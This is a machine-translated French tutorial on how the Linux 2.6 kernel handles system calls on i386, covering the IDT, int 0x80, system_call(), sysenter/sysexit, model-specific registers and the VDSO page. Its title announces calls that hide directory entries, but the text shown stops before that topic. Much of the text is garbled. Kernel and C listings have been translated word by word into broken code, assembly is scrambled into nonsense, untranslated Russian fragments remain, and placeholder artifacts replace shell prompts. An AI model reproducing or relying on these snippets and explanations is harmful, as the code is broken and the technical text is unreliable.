Linux - appels système. Appels système sous Linux. Appels système masquant une entrée de fichier dans un répertoire

Beaucoup - dit le morse - il est temps de parler.
L. Carroll (Cité du livre de B. Stroustrap)

Au lieu d'une introduction.

Au sujet de la structure interne du noyau Linux en général, de ses différents sous-systèmes et appels système en particulier, il a déjà été écrit et réécrit dans l'ordre. Probablement, tout auteur qui se respecte devrait écrire à ce sujet au moins une fois, tout comme tout programmeur qui se respecte doit écrire son propre gestionnaire de fichiers :) Bien que je ne sois pas un rédacteur informatique professionnel, et en général, je prends mes notes uniquement pour le premier de tous, pour ne pas oublier ce que vous avez appris trop vite. Mais, si mes notes de voyage sont vraiment utiles à quelqu'un, bien sûr, je n'en serai qu'heureux. Eh bien, en général, vous ne pouvez pas gâcher la bouillie avec du beurre, alors peut-être même que je pourrai écrire ou décrire quelque chose que personne n'a pris la peine de mentionner.

Théorie. Que sont les appels système ?

Lorsqu'ils expliquent aux non-initiés ce qu'est un logiciel (ou un système d'exploitation), ils disent généralement ceci : l'ordinateur lui-même est un élément matériel, mais le logiciel est ce qui permet de tirer profit de ce matériel. Rugueux, bien sûr, mais dans l'ensemble, un peu vrai. Je dirais probablement la même chose à propos du système d'exploitation et des appels système. En fait, dans différents systèmes d'exploitation, les appels système peuvent être implémentés de différentes manières, le nombre de ces mêmes appels peut différer, mais d'une manière ou d'une autre, sous une forme ou une autre, il existe un mécanisme d'appel système dans tout système d'exploitation. Chaque jour, un utilisateur travaille explicitement ou implicitement avec des fichiers. Bien sûr, il peut évidemment ouvrir le fichier pour l'éditer dans son MS Word "e ou Bloc-notes" e préféré, ou il peut simplement exécuter un jouet, dont l'image exécutable, soit dit en passant, est également stockée dans un fichier, qui, à son tour, doit ouvrir et lire les fichiers exécutables du chargeur. À son tour, le jouet peut également ouvrir et lire des dizaines de fichiers au cours de son travail. Naturellement, les fichiers peuvent non seulement être lus, mais aussi écrits (pas toujours, cependant, mais ici nous ne parlons pas de séparation des droits et d'accès discret :)). Le noyau gère tout cela (dans les systèmes d'exploitation à micro-noyau, la situation peut être différente, mais maintenant nous nous pencherons discrètement sur l'objet de notre discussion - Linux, nous ignorerons donc ce point). La génération d'un nouveau processus lui-même est également un service fourni par le noyau du système d'exploitation. Tout cela est merveilleux, ainsi que le fait que processeurs modernes fonctionnent à des fréquences gigahertz et se composent de plusieurs millions de transistors, mais qu'en est-il ensuite ? Oui, et s'il n'y avait pas de mécanisme par lequel les applications utilisateur pourraient effectuer des choses assez banales et, en même temps, nécessaires ( en fait, dans tous les cas, ces actions triviales ne sont pas effectuées par l'application utilisateur, mais par le noyau du système d'exploitation - ed.), alors le système d'exploitation n'était qu'une chose en soi - absolument inutile, ou, au contraire, chaque application utilisateur elle-même aurait dû devenir un système d'exploitation afin de répondre à tous ses besoins de manière indépendante. Bien, n'est-ce pas ?

Ainsi, nous sommes arrivés à la définition d'un appel système en première approximation : un appel système est une sorte de service que le noyau de l'OS fournit à une application utilisateur à la demande de cette dernière. Un tel service peut être l'ouverture de fichier déjà mentionnée, sa création, sa lecture, son écriture, la création d'un nouveau processus, l'obtention de l'identifiant du processus (pid), le montage système de fichiers, arrêt du système enfin. Dans la vraie vie, il y a beaucoup plus d'appels système que ceux répertoriés ici.

A quoi ressemble un appel système et qu'est-ce que c'est ? Eh bien, d'après ce qui a été dit ci-dessus, il devient clair qu'un appel système est un sous-programme du noyau qui a une apparence correspondante. Ceux qui ont de l'expérience avec la programmation Win9x / DOS se souviendront probablement de l'interruption int 0x21 avec toutes (ou au moins certaines) de ses nombreuses fonctions. Cependant, il y a une petite particularité concernant tous les appels système Unix. Par convention, la fonction qui implémente l'appel système peut prendre N arguments ou pas du tout, mais d'une manière ou d'une autre, la fonction doit retourner une valeur int. Toute valeur non négative est interprétée comme l'exécution réussie de la fonction d'appel système, et donc l'appel système lui-même. Une valeur inférieure à zéro est signe d'une erreur et contient en même temps un code d'erreur (les codes d'erreur sont définis dans les entêtes include / asm-generic / errno-base.h et include / asm-generic / errno.h) . Sous Linux, la passerelle pour les appels système jusqu'à récemment était l'interruption int 0x80, tandis que sous Windows (jusqu'à XP Service Pack 2, si je ne me trompe pas) une telle passerelle est l'interruption 0x2e. Encore une fois, dans le noyau Linux, jusqu'à récemment, tous les appels système étaient gérés par la fonction system_call(). Cependant, comme il s'est avéré plus tard, le mécanisme classique de traitement des appels système via la passerelle 0x80 entraîne une baisse significative des performances sur les processeurs Intel Pentium 4. Par conséquent, le mécanisme classique a été remplacé par la méthode des objets partagés dynamiques virtuels (DSO - fichier d'objet partagé dynamique. Je ne peux pas garantir la traduction correcte, mais DSO, c'est ce que Utilisateurs Windows connue sous le nom de DLL - bibliothèque chargée et liée dynamiquement) - VDSO. Quelle est la différence entre la nouvelle méthode et la méthode classique ? Tout d'abord, regardons la méthode classique qui fonctionne à travers la porte 0x80.

Le mécanisme classique de gestion des appels système sous Linux.

Interruptions dans l'architecture x86.

Comme mentionné ci-dessus, la passerelle 0x80 (int 0x80) était auparavant utilisée pour traiter les demandes des applications personnalisées. Le fonctionnement d'un système basé sur l'architecture IA-32 est piloté par interruption (à proprement parler, cela s'applique à tous les systèmes basés sur x86 en général). Lorsqu'un événement se produit (un nouveau chronomètre, une activité sur un appareil, des erreurs - division par zéro, etc.), une interruption est générée. L'interruption est ainsi nommée car elle interrompt généralement le flux normal de l'exécution du code. Les interruptions sont généralement subdivisées en interruptions matérielles et logicielles. Les interruptions matérielles sont des interruptions générées par le système et les périphériques. Lorsqu'un périphérique a besoin d'attirer l'attention du noyau du système d'exploitation, il (le périphérique) génère un signal sur sa ligne de demande d'interruption (IRQ - Interrupt ReQuest line). Cela conduit au fait qu'un signal correspondant est généré à certaines entrées du processeur, sur la base duquel le processeur décide d'interrompre l'exécution du flux d'instructions et de transférer le contrôle au gestionnaire d'interruption, qui découvre déjà ce qui s'est passé et ce qui doit être terminé. Les interruptions matérielles sont de nature asynchrone. Cela signifie qu'une interruption peut se produire à tout moment. En plus des périphériques, le processeur lui-même peut générer des interruptions (ou, plus précisément, des exceptions matérielles - par exemple, la division par zéro déjà mentionnée). Ceci est fait afin d'informer le système d'exploitation de l'apparition d'une situation anormale afin que le système d'exploitation puisse prendre des mesures en réponse à l'apparition d'une telle situation. Après avoir traité l'interruption, le processeur revient à l'exécution du programme interrompu. Une interruption peut être initiée par une application personnalisée. Cette interruption est appelée interruption logicielle. Les interruptions logicielles, contrairement aux interruptions matérielles, sont synchrones. C'est-à-dire que lorsqu'une interruption est appelée, le code qui l'a appelée est suspendu jusqu'à ce que l'interruption soit traitée. Lors de la sortie du gestionnaire d'interruption, un retour à l'adresse distante enregistrée précédemment (lors de l'appel d'une interruption) dans la pile se produit, à l'instruction suivante après l'instruction appelant l'interruption (int). Un gestionnaire d'interruption est un morceau de code résident (résident en mémoire). Il s'agit généralement d'un petit programme. Cependant, si nous parlons du noyau Linux, le gestionnaire d'interruptions n'est pas toujours aussi petit. Un gestionnaire d'interruption est défini par un vecteur. Un vecteur n'est rien de plus que l'adresse (segment et décalage) du début du code qui doit gérer les interruptions avec l'index donné. Travailler avec des interruptions diffère considérablement en mode réel et en mode protégé du processeur (permettez-moi de vous rappeler que nous entendons ci-après les processeurs Intel et compatibles avec eux). Dans le mode réel (non protégé) du fonctionnement du processeur, les gestionnaires d'interruptions sont définis par leurs vecteurs, qui sont toujours stockés au début de la mémoire, l'adresse souhaitée est extraite de la table des vecteurs par l'index, qui est également le numéro d'interruption. En réécrivant le vecteur avec un index spécifique, vous pouvez affecter votre propre gestionnaire à l'interruption.

En mode protégé, les gestionnaires d'interruptions (portes, portes ou portes) ne sont plus définis à l'aide d'une table vectorielle. A la place de cette table, une table de portes ou, plus correctement, une table d'interruption - IDT (Interrupt Descriptors Table) est utilisée. Cette table est formée par le noyau, et son adresse est stockée dans le registre idtr du processeur. Ce registre n'est pas directement accessible. Il est uniquement possible de travailler avec en utilisant les instructions lidt / sidt. Le premier d'entre eux (lidt) charge la valeur spécifiée dans l'opérande dans le registre idtr et est l'adresse de base de la table des descripteurs d'interruption, le second (sidt) stocke l'adresse de la table située dans idtr dans l'opérande spécifié. De la même manière que se produit la sélection d'informations sur le segment dans la table de descripteurs par le sélecteur, la sélection du descripteur de segment servant l'interruption dans un mode protégé se produit également. Protection de la mémoire prise en charge Processeurs Intel en commençant par le CPU i80286 (pas tout à fait sous la forme sous laquelle il est présenté maintenant, ne serait-ce que parce que le 286 était un processeur 16 bits - donc Linux ne peut pas fonctionner sur ces processeurs) et le i80386, et donc le processeur fait indépendamment tous les échantillons nécessaires et Par conséquent, nous n'entrerons pas en profondeur dans toutes les subtilités du mode protégé (à savoir, Linux fonctionne en mode protégé). Malheureusement, ni le temps ni les opportunités ne nous permettent de nous attarder longtemps sur le mécanisme de gestion des interruptions en mode protégé. Et ce n'était pas le but en écrivant cet article. Toutes les informations données ici concernant le fonctionnement de la famille de processeurs x86 sont assez superficielles et ne sont fournies que pour aider un peu mieux à comprendre le mécanisme des appels système du noyau. Quelque chose peut être appris directement du code du noyau, même si, pour une compréhension complète de ce qui se passe, il est toujours conseillé de se familiariser avec les principes du mode protégé. Le bout de code qui renseigne les valeurs initiales (mais ne s'installe pas !) IDT se trouve dans arch/i386/kernel/head.S : / * * setup_idt * * configure un idt avec 256 entrées pointant vers * ignore_int, les portes d'interruption. Il "ne charge pas réellement * idt - cela ne peut être fait qu'après l'activation de la pagination * et le déplacement du noyau vers PAGE_OFFSET. Les interruptions * sont activées ailleurs, lorsque nous pouvons être relativement * sûrs que tout va bien. * * Avertissement : % esi est en direct sur cette fonction. * / 1.setup_idt: 2.lea ignore_int,% edx 3.movl $ (__ KERNEL_CS<< 16),%eax 4. movw %dx,%ax /* selector = 0x0010 = cs */ 5. movw $0x8E00,%dx /* interrupt gate - dpl=0, present */ 6. lea idt_table,%edi 7. mov $256,%ecx 8.rp_sidt: 9. movl %eax,(%edi) 10. movl %edx,4(%edi) 11. addl $8,%edi 12. dec %ecx 13. jne rp_sidt 14..macro set_early_handler handler,trapno 15. lea \handler,%edx 16. movl $(__KERNEL_CS << 16),%eax 17. movw %dx,%ax 18. movw $0x8E00,%dx /* interrupt gate - dpl=0, present */ 19. lea idt_table,%edi 20. movl %eax,8*\trapno(%edi) 21. movl %edx,8*\trapno+4(%edi) 22..endm 23. set_early_handler handler=early_divide_err,trapno=0 24. set_early_handler handler=early_illegal_opcode,trapno=6 25. set_early_handler handler=early_protection_fault,trapno=13 26. set_early_handler handler=early_page_fault,trapno=14 28. ret Quelques notes sur le code : le code donné est écrit dans une sorte d'assembleur AT&T, donc votre connaissance de l'assembleur dans sa notation Intel habituelle ne peut qu'être déroutante. La différence la plus fondamentale réside dans l'ordre des opérandes. Si l'ordre est défini pour la notation Intel - "accumulateur"< "источник", то для ассемблера AT&T порядок прямой. Регистры процессора, как правило, должны иметь префикс "%", непосредственные значения (константы) префиксируются символом доллара "$". Синтаксис AT&T традиционно используется в Un*x-системах.

Dans l'exemple ci-dessus, les lignes 2 à 4 définissent l'adresse du gestionnaire par défaut pour toutes les interruptions. Le gestionnaire par défaut est ignore_int, qui ne fait rien. La présence d'un tel stub est nécessaire pour le traitement correct de toutes les interruptions à ce stade, car il n'y en a tout simplement pas encore d'autres (cependant, les traps sont définis un peu plus bas dans le code - voir la référence du manuel d'architecture Intel pour les traps ou quelque chose de similaire , nous ne serons pas ici toucher les pièges). La ligne 5 définit le type de vanne. A la ligne 6, nous chargeons l'adresse de notre table IDT dans le registre d'index. La table doit contenir 255 entrées de 8 octets chacune. Aux lignes 8 à 13, nous remplissons toute la table avec les mêmes valeurs définies précédemment dans les registres eax et edx - c'est-à-dire qu'il s'agit d'une porte d'interruption faisant référence au gestionnaire ignore_int. Ci-dessous, nous définissons une macro pour définir les pièges - lignes 14-22. Aux lignes 23-26, en utilisant la macro définie ci-dessus, nous définissons des pièges pour les exceptions suivantes : early_divide_err - division par zéro (0), early_illegal_opcode - instruction processeur inconnue (6), early_protection_fault - échec de protection mémoire (13), early_page_fault - échec de la traduction de la page (14) ... Entre parenthèses figurent les nombres d'"interruptions" générées lorsque la situation anormale correspondante se produit. Avant de vérifier le type de processeur dans arch/i386/kernel/head.S, l'IDT est défini en appelant setup_idt : / * * démarrer la configuration 32 bits du système. Nous devons refaire certaines des choses faites * en mode 16 bits pour les opérations "réelles". * / 1.call setup_idt ... 2.call check_x87 3.lgdt early_gdt_descr 4.lidt idt_descr Après avoir trouvé le type de (co)processeur et effectué toutes les étapes préparatoires des lignes 3 et 4, nous chargeons les tables GDT et IDT, qui seront utilisées lors des toutes premières étapes du fonctionnement du noyau.

Appels système et int 0x80.

Revenons des interruptions aux appels système. Alors, que faut-il pour entretenir un processus qui demande un service ? Tout d'abord, vous devez passer de l'anneau 3 (niveau de privilège CPL = 3) au niveau le plus privilégié 0 (anneau 0, CPL = 0), car le code du noyau est situé dans le segment avec les privilèges les plus élevés. De plus, un code de gestionnaire est nécessaire pour gérer le processus. C'est exactement à quoi sert la passerelle 0x80. Bien qu'il y ait pas mal d'appels système, ils utilisent tous un seul point d'entrée - int 0x80. Le gestionnaire lui-même est installé lors de l'appel de la fonction arch/i386/kernel/traps.c :: trap_init() : void __init trap_init (void) (... set_system_gate (SYSCALL_VECTOR, & system_call); ...) Nous sommes plus intéressés par cette ligne dans trap_init(). Dans le même fichier ci-dessus, vous pouvez regarder le code de la fonction set_system_gate() : static void __init set_system_gate (unsigned int n, void * addr) (_set_gate (n, DESCTYPE_TRAP | DESCTYPE_DPL3, addr, __KERNEL_CS);) Ici, vous pouvez voir que la porte pour l'interruption 0x80 (à savoir, cette valeur est définie par la macro SYSCALL_VECTOR - vous pouvez croire le mot :)) est définie comme un piège avec le niveau de privilège DPL = 3 (anneau 3), c'est-à-dire cette interruption sera interceptée lorsqu'elle sera appelée depuis l'espace utilisateur. Le problème avec le passage de Ring 3 à Ring 0 donc. résolu. La fonction _set_gate() est définie dans le fichier d'en-tête include/asm-i386/desc.h. Pour ceux qui sont particulièrement curieux, voici le code, sans longues explications cependant : static inline void _set_gate (int gate, type int non signé, void * addr, segment court non signé) (__u32 a, b; pack_gate (& a, & b, (unsigned long) addr, seg, type, 0); write_idt_entry (idt_table) , porte , a, b);) Revenons à la fonction trap_init(). Il est appelé depuis la fonction start_kernel() dans init / main.c. Si vous regardez le code trap_init(), vous pouvez voir que cette fonction réécrit à nouveau certaines des valeurs de la table IDT - les gestionnaires qui ont été utilisés dans les premières étapes de l'initialisation du noyau (early_page_fault, early_divide_err, early_illegal_opcode, early_protection_fault) sont remplacés par ceux qui seront déjà utilisés dans le processus de travail du noyau. Donc, nous sommes presque arrivés au but et savons déjà que tous les appels système sont traités de la même manière - via la passerelle int 0x80. La fonction system_call () est définie en tant que gestionnaire pour l'int 0x80, comme vous pouvez le voir dans le code ci-dessus arch / i386 / kernel / traps.c :: trap_init ().

appel_système ().

Le code de la fonction system_call() se trouve dans arch/i386/kernel/entry.S et ressemble à ceci : # system call handler stub ENTRY (system_call) RING0_INT_FRAME # ne peut "de toute façon pas se dérouler dans l'espace utilisateur pushl% eax # save orig_eax CFI_ADJUST_CFA_OFFSET 4 SAVE_ALL GET_THREAD_INFO (% ebp) # system call tracing in operation / émulation / number it * Remarque, et ainsi de suite a besoin de testw et non de testb * / testw $ (_ TIF_SYSCALL_EMU | _TIF_SYSCALL_TRACE | _TIF_SECCOMP | _TIF_SYSCALL_AUDIT), TI_flags (% ebp) jnz syscall_trace_entry cmpl $ (nr_sallcall)_ax # 4) , mov% PT _ax, retour mov% . . Le code n'est pas affiché en entier. Comme vous pouvez le voir, tout d'abord, system_call () configure la pile pour qu'elle fonctionne dans l'anneau 0, enregistre la valeur qui lui est transmise via eax sur la pile, enregistre également tous les registres sur la pile, reçoit des données sur le thread appelant et vérifie si le la valeur passée, le numéro d'appel système, va au-delà des limites de la table syscall, puis en utilisant finalement la valeur passée à eax comme argument, system_call() navigue vers le gestionnaire d'appel système réel en fonction de l'entrée de table référencée par l'index dans eax. Souvenez-vous maintenant de la bonne vieille table de vecteurs d'interruption en mode réel. Ça ne ressemble à rien ? En réalité, bien sûr, tout est un peu plus compliqué. En particulier, l'appel système doit copier les résultats de la pile du noyau vers la pile de l'utilisateur, transmettre le code de retour et quelques autres choses. Dans le cas où l'argument spécifié dans eax ne fait pas référence à un appel système existant (la valeur est hors limites), un saut vers l'étiquette syscall_badsys se produit. Ici, la valeur -ENOSYS est poussée sur la pile à l'offset auquel la valeur eax doit être située - l'appel système n'est pas implémenté. Ceci termine l'exécution de system_call().

La table d'appel système se trouve dans le fichier arch/i386/kernel/syscall_table.S et a une forme assez simple : ENTRY (sys_call_table) .long sys_restart_syscall / * 0 - ancien appel système "setup ()", utilisé pour redémarrer * / .long sys_exit .long sys_fork .long sys_read .long sys_write .long sys_open / * 5 * / .long sys_close .sys_waitpid . long sys_creat ... En d'autres termes, la table entière n'est rien de plus qu'un tableau d'adresses de fonctions, disposées dans l'ordre des numéros d'appel système que ces fonctions desservent. Le tableau est un tableau ordinaire de mots doubles (ou de mots de 32 bits - selon votre préférence). Le code de certaines des fonctions servant les appels système se trouve dans la partie dépendante de la plate-forme - arch / i386 / kernel / sys_i386.c, et la partie indépendante de la plate-forme se trouve dans kernel / sys.c.

C'est le cas des appels système et de la porte 0x80.

Nouveau mécanisme de gestion des appels système sous Linux. sysenter / sysexit.

Comme mentionné, il est rapidement devenu évident que la manière traditionnelle de gérer les appels système basée sur la porte 0x80 entraîne une perte de performances sur les processeurs Intel Pentium 4. Par conséquent, Linus Torvalds a implémenté un nouveau mécanisme dans le noyau basé sur les instructions sysenter / sysexit pour améliorer performances du noyau sur les machines équipées d'un processeur Pentium II ou supérieur (c'est avec le Pentium II+ que les processeurs Intel supportent les instructions sysenter / sysexit précitées). Quelle est l'essence du nouveau mécanisme? Curieusement, l'essence reste la même. L'exécution a changé. Selon la documentation Intel, l'instruction sysenter fait partie du mécanisme des "appels système rapides". En particulier, cette instruction est optimisée pour passer rapidement d'un niveau de privilège à un autre. Plus précisément, il accélère le passage à l'anneau 0 (Ring 0, CPL = 0). Ce faisant, le système d'exploitation doit préparer le processeur à utiliser l'instruction sysenter. Ce paramètre est effectué une seule fois lors du chargement et de l'initialisation du noyau du système d'exploitation. Lorsque sysenter est appelé, il définit les registres du processeur en fonction des registres dépendant de la machine précédemment définis par le système d'exploitation. En particulier, le registre de segment et le registre de pointeur d'instruction - cs: eip, ainsi que le segment de pile et le haut du pointeur de pile - ss, esp sont définis. Le passage à un nouveau segment du code et le décalage s'effectue de l'anneau 3 à 0.

Sysexit fait le contraire. Il effectue une transition rapide du niveau de privilège 0 à 3 (CPL = 3). Cela définit le registre du segment de code à 16 + la valeur du segment cs stocké dans le registre dépendant de la machine du processeur. Le registre eip contient le contenu du registre edx. Dans ss, la somme de 24 et les valeurs de cs sont entrées, que le système d'exploitation a précédemment entrées dans le registre dépendant de la machine du processeur lors de la préparation du contexte pour que l'instruction sysenter fonctionne. Esp stocke le contenu du registre ecx. Les valeurs nécessaires au fonctionnement des instructions sysenter / sysexit sont stockées aux adresses suivantes :

  1. SYSENTER_CS_MSR 0x174 - segment de code, où la valeur du segment est écrite, dans lequel se trouve le code du gestionnaire d'appels système.
  2. SYSENTER_ESP_MSR 0x175 - pointeur vers le haut de la pile pour le gestionnaire d'appels système.
  3. SYSENTER_EIP_MSR 0x176 - un pointeur vers un décalage dans le segment de code. Indique le début du code du gestionnaire d'appels système.
Ces adresses font référence à des registres dépendants du modèle qui n'ont pas de nom. Les valeurs sont écrites dans des registres dépendant du modèle à l'aide de l'instruction wrmsr, tandis que edx: eax doit contenir respectivement les parties supérieure et inférieure d'un mot machine de 64 bits, et ecx doit contenir l'adresse du registre vers lequel l'écriture sera être fait. Sous Linux, les adresses des registres dépendant du modèle sont définies dans le fichier d'en-tête include / asm-i368 / msr-index.h comme suit (avant la version 2.6.22, elles étaient au moins définies dans le fichier include / asm-i386 / msr fichier d'en-tête .h, permettez-moi de vous rappeler que nous considérons le mécanisme d'appels système sur l'exemple du noyau Linux 2.6.22) : #define MSR_IA32_SYSENTER_CS 0x00000174 #define MSR_IA32_SYSENTER_ESP 0x00000175 #define MSR_IA32_SYSENTER_EIP 0x00000176 Le code du noyau responsable de la définition des registres dépendant du modèle se trouve dans arch / i386 / sysenter.c et ressemble à ceci : 1.void enable_sep_cpu (void) (2.int cpu = get_cpu (); 3.struct tss_struct * tss = & per_cpu (init_tss, cpu); 4.if (! Boot_cpu_has (X86_FEATURE_SEP)) (5.put_cpu (); 6 . return ;) 7.tss-> x86_tss.ss1 = __KERNEL_CS ; 8.tss-> x86_tss.esp1 = sizeof (struct tss_struct) + (non signé long) tss ; 9.wrmsr (MSR_IA32_SYSENTER_CS, __KERNEL_) ; wCrms, 0 ; MSR_IA32_SYSENTER_ESP, tss-> x86_tss.esp1, 0); 11.wrmsr (MSR_IA32_SYSENTER_EIP, (non signé long) sysenter_entry, 0); 12.put_cpu ();) Ici, dans la variable tss, nous obtenons l'adresse de la structure qui décrit le segment de l'état de la tâche. TSS (Task State Segment) est utilisé pour décrire le contexte d'une tâche et fait partie du mécanisme matériel multitâche pour l'architecture x86. Cependant, Linux n'utilise pratiquement pas la commutation de contexte de tâche matérielle. Selon la documentation Intel, le passage à une autre tâche se fait soit en exécutant une instruction de saut intersegment (jmp ou call) qui fait référence au segment TSS, soit au descripteur de porte de tâche dans le GDT (LDT). Un registre de processeur spécial qui est invisible pour le programmeur - TR (Task Register) contient un sélecteur de descripteur de tâche. Le chargement de ce registre charge également les registres de base et de limite invisibles par logiciel associés au TR.

Bien que Linux n'utilise pas la commutation de contexte de tâche matérielle, le noyau est obligé de mettre de côté une entrée TSS pour chaque processeur installé sur le système. En effet, lorsque le processeur passe du mode utilisateur au mode noyau, il récupère l'adresse de la pile du noyau dans le TSS. De plus, TSS est requis pour contrôler l'accès aux ports d'E/S. TSS contient une carte des droits d'accès aux ports. Sur la base de cette carte, il devient possible de contrôler l'accès aux ports pour chaque processus à l'aide d'instructions d'entrée/sortie. Ici, tss-> x86_tss.esp1 pointe vers la pile du noyau. __KERNEL_CS pointe naturellement vers un segment de code du noyau. L'adresse de la fonction sysenter_entry () est spécifiée comme offset-eip.

La fonction sysenter_entry() est définie dans arch/i386/kernel/entry.S et ressemble à ceci : / * SYSENTER_RETURN pointe après l'instruction "sysenter" dans la page vsycall. Voir vsycall-sysentry.S, qui définit le symbole. * / # sysenter call handler stub ENTRY (sysenter_entry) CFI_STARTPROC simple CFI_SIGNAL_FRAME CFI_DEF_CFA esp, 0 CFI_REGISTER esp, ebp movl TSS_sysenter_esp0 (% esp),% esp sysenter_past * / ENABLE_INTERRUPTS (CLBR_NONE) pushl $ (__ USER_DS) CFI_ADJUST_CFA_OFFSET 4 / * CFI_REL_OFFSET ss, 0 * / pushl% ebp CFI_ADJUST_CFA_OFFSET 4 CFI_REL_OFFSET esp, 0 pushfl CFI_ADJUST_OFF_CFA_SET_CFA $_OFFSET 4 / * * Poussez current_thread_info () -> sysenter_return dans la pile. * Un tout petit peu de correction de décalage est nécessaire - 4 * 4 signifie les 4 mots * poussés au-dessus ; +8 correspond au paramètre esp0 de copy_thread ". * / Pushl (TI_sysenter_return-THREAD_SIZE + 8 + 4 * 4) (% esp) CFI_ADJUST_CFA_OFFSET 4 CFI_REL_OFFSET eip, 0 / * * Charge le sixième argument potentiel de la pile utilisateur. * Attention à la sécurité . * / cmpl $ __ PAGE_OFFSET-3,% ebp jae syscall_fault 1 : movl (% ebp),% ebp .section __ex_table, "a" .align 4 .long 1b, syscall_fault .previous pushl% eax CFI_ADJUST_CFA_THOFFSET ) / * *THOFFSET ) _TIF_SECCOMP est le bit numéro 8, et il a donc besoin de testw et non de testb * / testw $ (_ TIF_SYSCALL_EMU | _TIF_SYSCALL_TRACE | _TIF_SECCOMP | _TIF_SYSCALL_AUDIT), TI_flags (% jyscalls_SECCOMP) esp) DISABLE_INTERRUPTS (CLBR_ANY) TRACE_IRQS_OFF movl TI_flags (% ebp),% ecx testw $ _TIF_ALLWORK_MASK,% cx_existers modysit s désactiver sysexit * / movl PT_EIP (% esp),% edx movl% PT_OLDESP ( espx movl PT_OLD ebp,% ebp TRACE_IRQS_ON 1: mov PT_FS (% esp),% fs ENABLE_INTERRUPTS_SYSEXIT CFI_ENDPROC .pushsection .fixup, "ax" 2: movl $ 0, PT_FS (% esp) jmp 1b .section __exal_table 4. "aong". 1b, 2b .popsection ENDPROC (sysenter_entry) Comme avec system_call(), la plupart du travail est effectué dans la ligne call * sys_call_table (,% eax, 4). C'est là que le gestionnaire d'appels système spécifique est appelé. Il est donc clair que peu de choses ont fondamentalement changé. Le fait que le vecteur d'interruption soit désormais intégré au matériel et au processeur nous aide à passer rapidement d'un niveau de privilège à un autre ne modifie que certains des détails d'exécution avec le même contenu. Cependant, les changements ne s'arrêtent pas là. Rappelez-vous où l'histoire a commencé. Au tout début, j'ai déjà évoqué les objets virtuels partagés. Ainsi, si auparavant l'implémentation d'un appel système, disons, à partir de la bibliothèque système libc ressemblait à un appel d'interruption (malgré le fait que la bibliothèque a pris en charge certaines fonctions pour réduire le nombre de changements de contexte), maintenant grâce à VDSO l'appel système peut être fait presque directement, sans libc. Il aurait pu auparavant être implémenté directement, encore une fois, en tant qu'interruption. Mais maintenant, l'appel peut être demandé en tant que fonction normale exportée à partir d'une bibliothèque liée dynamiquement (DSO). Au démarrage, le noyau détermine quel mécanisme doit et peut être utilisé pour une plate-forme donnée. Selon les circonstances, le noyau définit un point d'entrée vers la fonction qui effectue l'appel système. Ensuite, la fonction est exportée vers l'espace utilisateur en tant que bibliothèque linux-gate.so.1. La bibliothèque linux-gate.so.1 n'existe pas physiquement sur le disque. Il est, pour ainsi dire, émulé par le noyau et existe aussi longtemps que le système fonctionne. Si vous arrêtez le système, montez le FS racine à partir d'un autre système, alors vous ne trouverez pas ce fichier sur le FS racine du système arrêté. En fait, vous ne pourrez pas le trouver même sur un système en cours d'exécution. Physiquement, cela n'existe tout simplement pas. C'est pourquoi linux-gate.so.1 est autre chose que VDSO - c'est-à-dire Objet virtuel partagé dynamiquement. Le noyau mappe la bibliothèque dynamique émulée dynamiquement à l'espace d'adressage de chaque processus. Il est facile de le vérifier si vous exécutez la commande suivante : [email protégé]: ~ $ cat / proc / self / maps 08048000-0804c000 r-xp 00000000 08:01 46 / bin / cat 0804c000-0804d000 rw-p 00003000 08:01 46 / bin / cat 0804d000-0806e000 rw-p 0804d000 00:00 0 ... b7fdf000-b7fe1000 rw-p 00019000 08:01 2066 /lib/ld-2.5.so bffd2000-bffe8000 rw-p bffd2000 00:00 0 ffffe000-fffff000 r-xp 00000000 00:00 0 Ici la toute dernière ligne est l'objet qui nous intéresse : ffffe000-fffff000 r-xp 00000000 00:00 0 D'après l'exemple donné, on peut voir que l'objet occupe exactement une page en mémoire - 4096 octets, pratiquement dans les arrière-cours de l'espace d'adressage. Faisons une autre expérience : [email protégé]: ~ $ ldd `quel chat` linux-gate.so.1 => (0xffffe000) libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e87000) / lib / ld-linux .so.2 (0xb7fdf000) [email protégé]: ~ $ ldd `which gcc` linux-gate.so.1 => (0xffffe000) libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e3c000) / lib / ld-linux .so.2 (0xb7f94000) [email protégé]:~$ Ici, nous venons de prendre deux applications en main. On peut voir que la bibliothèque est mappée sur l'espace d'adressage du processus à la même adresse constante - 0xffffe000. Essayons maintenant de voir ce qui est réellement stocké sur cette page mémoire...

Vous pouvez vider la page mémoire où le code VDSO partagé est stocké à l'aide du programme suivant : #include #include #include int main () (char * vdso = 0xffffe000; char * buffer; FILE * f; buffer = malloc (4096); if (! buffer) exit (1); memcpy (buffer, vdso, 4096) ; if (! (f = fopen ("test.dump", "w + b"))) (free (buffer); exit (1);) fwrite (buffer, 4096, 1, f); fclose (f) ; gratuit (tampon) ; renvoie 0 ;)À proprement parler, plus tôt, cela pourrait être fait plus facilement en utilisant la commande dd if = / proc / self / mem of = test.dump bs = 4096 skip = 1048574 count = 1, mais les noyaux depuis la version 2.6.22, ou peut-être même plus tôt, ne mappent plus la mémoire du processus vers / proc / `pid` / mem. Ce fichier est conservé, évidemment à des fins de compatibilité, mais ne contient pas plus d'informations.

Compilons et exécutons le programme donné. Essayons de désassembler le code résultant : [email protégé]: ~ / tmp $ objdump --disassemble ./test.dump ./test.dump : format de fichier elf32-i386 Désassemblage de la section .text : ffffe400<__kernel_vsyscall>: ffffe400: 51 push% ecx ffffe401: 52 push% edx ffffe402: 55 push% ebp ffffe403: 89 e5 mov% esp,% ebp ffffe405: 0f 34 sysenter ... ffffe40e: eb f3 jmp ffffe403<__kernel_vsyscall+0x3>ffffe410 : 5d pop% ebp ffffe411 : 5a pop% edx ffffe412 : 59 pop% ecx ffffe413 : c3 ret ... [email protégé]: ~ / tmp $ Voici notre passerelle pour les appels système, le tout en un coup d'œil. Le processus (ou la bibliothèque système libc), appelant la fonction __kernel_vsyscall, parvient à l'adresse 0xffffe400 (dans notre cas). De plus, __kernel_vsyscall enregistre le contenu des registres ecx, edx, ebp sur la pile du processus utilisateur. Nous avons déjà parlé du but des registres ecx et edx plus tôt, dans ebp il est utilisé plus tard pour restaurer la pile utilisateur. L'instruction sysenter est exécutée, "interception d'interruption" et, par conséquent, la prochaine transition vers sysenter_entry (voir ci-dessus). L'instruction jmp à 0xffffe40e est insérée pour relancer l'appel système avec 6 arguments (voir http://lkml.org/lkml/2002/12/18/). Le code placé sur la page est dans arch/i386/kernel/vsyscall-enter.S (ou arch/i386/kernel/vsyscall-int80.S pour le trap 0x80). Bien que j'aie trouvé que l'adresse 